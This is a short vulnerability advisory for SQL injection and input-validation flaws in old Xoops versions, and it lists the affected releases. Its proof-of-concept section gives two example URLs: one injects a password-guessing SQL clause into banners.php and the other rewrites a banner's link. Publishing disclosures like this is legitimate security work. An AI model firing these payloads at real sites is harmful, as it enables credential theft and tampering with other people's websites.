BID:9166

Xoops Multiple Vulnerabilities

Info

Xoops Multiple Vulnerabilities

Bugtraq ID:	9166
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 06 2003 12:00AM
Updated:	Dec 06 2003 12:00AM
Credit:	Discovery is credited to frog-m@n <[email protected]>.
Vulnerable:	Xoops Xoops 2.0.5 Xoops Xoops 2.0.3 Xoops Xoops 2.0.2 Xoops Xoops 2.0.1 Xoops Xoops 2.0 Xoops Xoops 1.3.10 Xoops Xoops 1.3.9 Xoops Xoops 1.3.8 Xoops Xoops 1.3.7 Xoops Xoops 1.3.6 Xoops Xoops 1.3.5

Not Vulnerable:	Xoops Xoops 2.0.5 .1

Discussion

Xoops Multiple Vulnerabilities

Multiple vulnerabilities were reported in Xoops. These issues include SQL injection and input validation issues that will allow remote attackers to manipulate banners and local variables. Exploitation could compromise the software or have other consequences.

Exploit / POC

Xoops Multiple Vulnerabilities

The following examples were provided:

http://www.example.com/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'
/*

http://www.example.com/banners.php?op=Change&cid=-1&bid=100&url=HTTP://WWW.NEWURL.C
OM